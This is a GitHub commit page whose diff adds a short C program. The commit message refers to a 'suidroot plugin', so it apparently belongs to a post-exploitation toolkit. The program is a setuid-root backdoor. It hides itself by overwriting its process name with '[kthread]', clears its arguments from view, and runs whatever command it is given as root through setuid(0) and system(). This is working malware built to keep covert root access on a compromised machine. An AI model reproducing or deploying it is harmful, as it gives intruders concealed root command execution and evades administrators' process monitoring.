-
-
Notifications
You must be signed in to change notification settings - Fork 444
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
warning: loss of compatibility with previous suidroot plugin
- Loading branch information
Showing
3 changed files
with
69 additions
and
35 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,33 @@ | ||
#include <stdlib.h> | ||
#include <unistd.h> | ||
#include <string.h> | ||
|
||
#define BUF_SIZE 65536 | ||
#define FAKE_CMD "[kthread]" | ||
|
||
int main(int argc, char **argv) | ||
{ | ||
char buf[BUF_SIZE]; | ||
int i; | ||
|
||
// hide process name (from `ps -ef`, etc) | ||
i = strlen(argv[0]); | ||
memset(argv[0], 0, i); | ||
if (sizeof(FAKE_CMD) <= i) | ||
strcpy(argv[0], "[kthread]"); | ||
|
||
// concat command list | ||
memset(buf, 0, BUF_SIZE); | ||
for (i=1; i<argc; i++) { | ||
strcat(buf, argv[i]); | ||
strcat(buf, " "); | ||
memset(argv[i], 0, strlen(argv[i])); | ||
argv[i] = NULL; | ||
} | ||
argc = 1; | ||
|
||
// run command as root | ||
setuid(0); | ||
system(buf); | ||
return (0); | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters